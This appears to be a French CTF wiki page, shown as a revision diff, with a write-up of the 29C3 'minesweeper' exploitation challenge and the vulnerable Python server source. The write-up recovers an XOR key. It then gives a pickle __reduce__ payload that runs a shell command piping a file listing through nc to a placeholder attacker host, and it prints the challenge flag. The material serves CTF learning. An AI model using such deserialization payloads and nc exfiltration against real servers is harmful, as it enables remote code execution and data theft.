Outils d'utilisateurs

Outils du Site


29c3:exploitation:minesweeper

Différences

Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

Lien vers cette vue

29c3:exploitation:minesweeper [2012/12/30 12:33]
mooh créée
29c3:exploitation:minesweeper [2017/04/09 15:33] (Version actuelle)
Ligne 4: Ligne 4:
  
 Enough of reversing? Play this nice game and chill a bit, if you want, you can even save the game and enjoy it later! XX.XX.XX.XX:1024 Enough of reversing? Play this nice game and chill a bit, if you want, you can even save the game and enjoy it later! XX.XX.XX.XX:1024
- 
-http://dl.ctftime.org/57/193/minesweeper.rar 
  
 ==== Solution ==== ==== Solution ====
Ligne 17: Ligne 15:
 On va donc regarder de plus pres le code et en particulier les fonctions de sauvegarde et chargement On va donc regarder de plus pres le code et en particulier les fonctions de sauvegarde et chargement
  
-sauvegarder:+**La fonction sauvegarder:**
 <code python> <code python>
 msg = f.save() msg = f.save()
Ligne 29: Ligne 27:
 return (True, "Your savegame: " + base64.standard_b64encode(msg)) return (True, "Your savegame: " + base64.standard_b64encode(msg))
 </code> </code>
 +avec
 +<code python>
 +def save(self):
 +    return pickle.dumps(self.__dict__, 1)
 +</code>
 +
 +et f un objet de classe Field:
 +<code python>
 +class Field:
 + def __init__(self, w, h, mines):
 + self.w = w
 + self.h = h
 + self.mines = set()
 + while len(self.mines) < mines:
 + y = random.randint(0, h - 1)
 + x = random.randint(0, w - 1)
 + self.mines.add((y, x))
 + self.mines = sorted(self.mines)
 + self.opened = []
 + self.flagged = []
 +</code>
 +
 +La fonction sauvegarder va donc faire un pickle dumps de son __dict__ (ici qui contient toutes les informations relatives a la partie, la width/height, position des mines, cases deja ouvertes et cases deja marquees) et ensuite faire une concatenation de "4n71cH3aT" + h.digest() + msg et finalement un xor avec une cle secrete puis l'encoder en base64.
 +
 +**La fonction charger:**
 +elle fait l'inverse: elle b64-decode l'input, fait un xor avec la cle secrete, verifie que ca commance par "4n71cH3aT", que le hash correspond au message et ensuite 
 +<code python>
 +def load(self, data):
 +    self.__dict__ = pickle.loads(data)
 +</code>
 +
 +On va donc chercher a obtenir la cle secrete. En effet, si on connait le resultat et le message de depart et on les XOR, on retrouve la cle.
 +Pour cela, on va sauvegarder la partie des le commencement (comme ca il n'y aucune case d'ouverte/marque) et ensuite la gagner (on remarquera que la partie est toujours la meme, donc ce n'est pas grave si on se trompe).
 +Une fois la partie gagnee, on va reconstruire le message initial:
 +<code python>
 +class Field:
 +    def __init__(self):
 +        self.w = 16
 +        self.h = 16
 +        self.mines = [(0, 4), (1, 5), (1, 7), (4, 1), (4, 8), (5, 13), (5, 14), (6, 0), (7, 7), (9, 10), (11, 7), (12, 2), (12, 7), (12, 8), (12, 13), (12, 14), (13, 0), (13, 10), (14, 14), (14, 15)] 
 +        self.opened = []
 +        self.flagged = []
 +
 +f = Field()
 +
 +msg = pickle.dumps(f.__dict__, 1)
 +</code>
 +
 +et ensuite le mettre sous le bon format ("4n71cH3aT" + hash) et ensuite le XOR avec la sauvegarde que le serveur nous a donnee.
 +
 +On retrouve donc la key
 +<code>
 +28 94 52 39 2D 84 88 4A BD E9 39 C0 F7 38 8D 56 CB F4 F1 5F 5F F1 7C 9C 84 73 7E 3C 6A C0 A0 7E D6 60 AA 0E 92 6E 45 37 AC 50 C8 69 A5 60 CC C9 96 6F FC 80 57 AF F7 A5 E3 19 BD 10 09 C8 55 6F D5 65 5E 66 24 C4 7B DE C5 8C 40 88 49 B4 EC 1A 0D 0D B3 74 22 75 78 BA 7B 03 3D C9 FA 4E 33 ED 08 C8 6A 33 C8 B6 74 B9 67 08 11 2C 3E 82 85 0C 9D F6 2F F1 CE 7A B8 D8 F8 31 F1 49 1E 44 15 8A 04 65 D3 45 CE D2 38 7D A8 99 79 BD 10 7F 78 31 D4 6D 01 57 13 78 43 57 F6 D6 B1 E7 77 E8 23 9E 35 51 5E 38 65 9E BC B9 52 2E D9 7B 59 AC 0F 01 39 5B 97 E7 03 28 5E 38 D3 CA 5B 93 D7 AB 0C 74 B0 26 FC 80 31 4D 39 31 EF 88 7A 61 EB 2A A3 F1 EB 1F 1F AE B3 17 DB 42 98 E7 5C 37 3D 70 BB 14 44 EF 83 9C 30 B6 B2 8E C9 92 E8 74 1A 23 82 5A C9 EB 5C 46 5D 8A 87 A1 90 0C
 +</code>
 +
 +Apres quelques essais infructueux, cette key semble aleatoire (ie pas de zip ou image...)
 +
 +On va donc continuer. Maintenant on a la cle du serveur, c'est a dire que l'on peut generer ses propres parties et on peut donc essayer de generer une partie avec 0 mine pour le fun. Si on ouvre une case, elles vont toutes s'ouvrir d'un coup mais il ne se passe rien d'autre =)
 +
 +On remarque que pour charger la partie, le serveur utilise **pickle.loads** et en forgeant un object special, il est possible d'executer des commandes sur le serveur. Allez voir http://5mins.wordpress.com/2011/04/25/plaidctf-django-challenge-writeup-web-300/ pour plus d'explications.
 +
 +On va donc forger notre objet qui va envoyer la liste des fichiers sur le serveur sur notre serveur en utilisant nc:
 +<code python>
 +import pickle
 +import socket
 +import os
 +class payload(object):
 +    def __reduce__(self):
 +        import subprocess
 +        return (subprocess.Popen, (('/bin/sh','-c','ls ./ | nc xx.xx.xx.xx 5555'),)) 
 +payload = pickle.dumps( payload())
 +print repr(payload)
 +</code>
 +et le formatter correctement (anti cheat + hash) et xor avec la cle sur serveur.
 +Quand on charge la partie, on obtient sur notre serveur (merci a Pheimors =) une liste de fichiers: 
 +<code>
 +encrypt_key.bin
 +flag.txt
 +minesweeper.py
 +</code>
 +
 +On recree une partie, mais cette fois avec **cat flag.txt** et on obtient le flag **29C3_TickTickBoom_YouFoundAMine**
 +
 +==== Source ====
 +<code python>
 +#!/usr/bin/env python
 +import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os
 +
 +def load_encrypt_key():
 + try:
 + f = open('encrypt_key.bin', 'r')
 + try:
 + encrypt_key = f.read(4096)
 + if len(encrypt_key) == 4096:
 + return encrypt_key
 + finally:
 + f.close()
 + except:
 + pass
 +
 + rand = random.SystemRandom()
 + encrypt_key = ""
 + for i in xrange(0, 4096):
 + encrypt_key += chr(rand.randint(0,255))
 +
 + try:
 + f = open('encrypt_key.bin', 'w')
 + try:
 + f.write(encrypt_key)
 + finally:
 + f.close()
 + except:
 + pass
 +
 + return encrypt_key
 +
 +class Field:
 + def __init__(self, w, h, mines):
 + self.w = w
 + self.h = h
 + self.mines = set()
 + while len(self.mines) < mines:
 + y = random.randint(0, h - 1)
 + x = random.randint(0, w - 1)
 + self.mines.add((y, x))
 + self.mines = sorted(self.mines)
 + self.opened = []
 + self.flagged = []
 +
 + def calc_num(self, point):
 + n = 0
 + for y in xrange(point[0] - 1, point[0] + 2):
 + for x in xrange(point[1] - 1, point[1] + 2):
 + p = (y, x)
 + if p != point and p in self.mines:
 + n += 1
 + return n
 +
 + def open(self, y, x):
 + point = (int(y), int(x))
 + if point[0] < 0 or point[0] >= self.h:
 + return (True, "Illegal point")
 + if point[1] < 0 or point[1] >= self.w:
 + return (True, "Illegal point")
 + if point in self.opened:
 + return (True, "Already opened")
 + if point in self.flagged:
 + return (True, "Already flagged")
 + bisect.insort(self.opened, point)
 + if point in self.mines:
 + return (False, "You lose")
 + if len(self.opened) + len(self.mines) == self.w * self.h:
 + return (False, "You win")
 + if self.calc_num(point) == 0:
 + #open everything around - it can not result in something bad
 + self.open(y-1, x-1)
 + self.open(y-1, x)
 + self.open(y-1, x+1)
 + self.open(y, x-1)
 + self.open(y, x+1)
 + self.open(y+1, x-1)
 + self.open(y+1, x)
 + self.open(y+1, x+1)
 + return (True, None)
 +
 +
 + def flag(self, y, x):
 + point = (int(y), int(x))
 + if point[0] < 0 or point[0] >= self.h:
 + return "Illegal point"
 + if point[1] < 0 or point[1] >= self.w:
 + return "Illegal point"
 + if point in self.opened:
 + return "Already opened"
 + if point in self.flagged:
 + self.flagged.remove(point)
 + else:
 + bisect.insort(self.flagged, point)
 + return None
 +
 + def load(self, data):
 + self.__dict__ = pickle.loads(data)
 +
 + def save(self):
 + return pickle.dumps(self.__dict__, 1)
 +
 + def write(self, stream):
 + mine = 0
 + open = 0
 + flag = 0
 + screen = "  " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n +" + ("-" * self.w) + "+\n"
 + for y in xrange(0, self.h):
 + have_mines = mine < len(self.mines) and self.mines[mine][0] == y
 + have_opened = open < len(self.opened) and self.opened[open][0] == y
 + have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y
 + screen += chr(0x30 | (y % 10)) + "|"
 + for x in xrange(0, self.w):
 + is_mine = have_mines and self.mines[mine][1] == x
 + is_opened = have_opened and self.opened[open][1] == x
 + is_flagged = have_flagged and self.flagged[flag][1] == x
 + assert(not (is_opened and is_flagged))
 + if is_mine:
 + mine += 1
 + have_mines = mine < len(self.mines) and self.mines[mine][0] == y
 + if is_opened:
 + open += 1
 + have_opened = open < len(self.opened) and self.opened[open][0] == y
 + if is_mine:
 + c = "*"
 + else:
 + c = ord("0")
 + #check prev row
 + for m in xrange(mine - 1, -1, -1):
 + if self.mines[m][0] < y - 1:
 + break
 + if self.mines[m][0] == y - 1 and self.mines[m][1] in (x - 1, x, x + 1):
 + c += 1
 + #check left & right
 + if mine > 0 and self.mines[mine - 1][0] == y and self.mines[mine - 1][1] == x - 1:
 + c += 1
 + if have_mines and self.mines[mine][1] == x + 1:
 + c += 1
 + #check next row
 + for m in xrange(mine, len(self.mines)):
 + if self.mines[m][0] > y + 1:
 + break
 + if self.mines[m][0] == y + 1 and self.mines[m][1] in (x - 1, x, x + 1):
 + c += 1
 + c = chr(c)
 + elif is_flagged:
 + flag += 1
 + have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y
 + c = "!"
 + else:
 + c = " "
 + screen += c
 + screen += "|" + chr(0x30 | (y % 10)) + "\n"
 + screen += " +" + ("-" * self.w) + "+\n  " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n"
 + stream.send(screen)
 +
 +sock = socket.socket()
 +sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 +sock.bind(('0.0.0.0', 1024))
 +sock.listen(10)
 +
 +signal.signal(signal.SIGCHLD, signal.SIG_IGN)
 +
 +encrypt_key = load_encrypt_key()
 +
 +while 1:
 + client, addr = sock.accept()
 + if os.fork() == 0:
 + break
 + client.close()
 +sock.close()
 +
 +f = Field(16, 16, 20)
 +
 +re_pos = re.compile("^. *([0-9]+)[ :;,]+([0-9]+) *$")
 +re_save = re.compile("^. *([0-9a-zA-Z+/]+=*) *$")
 +def handle(line):
 + if len(line) < 1:
 + return (True, None)
 + if len(line) == 1 and line[0] in "qxQX":
 + return (False, "Bye")
 + global f
 + if line[0] in "foFO":
 + m = re_pos.match(line)
 + if m is None:
 + return (True, "Usage: '([oOfF]) *([0-9]+)[ :;,]+([0-9]+) *', Cmd=\\1(Open/Flag) X=\\2 Y=\\3")
 + x,y = m.groups()
 + x = int(x)
 + y = int(y)
 + if line[0] in "oO":
 + return f.open(y,x)
 + else:
 + return (True, f.flag(y,x))
 + elif line[0] in "lL":
 + m = re_save.match(line)
 + if m is None:
 + return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2")
 + msg = base64.standard_b64decode(m.group(1))
 + tmp = ""
 + for i in xrange(0, len(msg)):
 + tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
 + msg = tmp
 + if msg[0:9] != "4n71cH3aT":
 + return (True, "Unable to load savegame (magic)")
 + h = hashlib.sha1()
 + h.update(msg[9+h.digest_size:])
 + if msg[9:9+h.digest_size] != h.digest():
 + return (True, "Unable to load savegame (checksum)")
 + try:
 + f.load(msg[9+h.digest_size:])
 + except:
 + return (True, "Unable to load savegame (exception)")
 + return (True, "Savegame loaded")
 + elif len(line) == 1 and line[0] in "sS":
 + msg = f.save()
 + h = hashlib.sha1()
 + h.update(msg)
 + msg = "4n71cH3aT" + h.digest() + msg
 + tmp = ""
 + for i in xrange(0, len(msg)):
 + tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
 + msg = tmp
 + return (True, "Your savegame: " + base64.standard_b64encode(msg))
 + elif len(line) == 1 and line[0] in "dD":
 + return (True, repr(f.__dict__)+"\n")
 + else:
 + return (True, "Unknown Command: '" + line[0] + "', valid commands: o f q x l s")
 +
 +data = ""
 +while 1:
 + f.write(client)
 + while 1:
 + pos = data.find("\n")
 + if pos != -1:
 + cont, msg = handle(data[0:pos])
 + if not cont:
 + if msg is not None:
 + client.send(msg + "\n")
 + f.write(client)
 + client.close()
 + sys.exit(0)
 + if msg is not None:
 + client.send(msg + "\n")
 + data = data[pos+1:]
 + break
 + new_data = client.recv(4096)
 + if len(new_data) == 0:
 + sys.exit(0)
 + data += new_data
 +
 +</code>
 +
 +
29c3/exploitation/minesweeper.1356867232.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)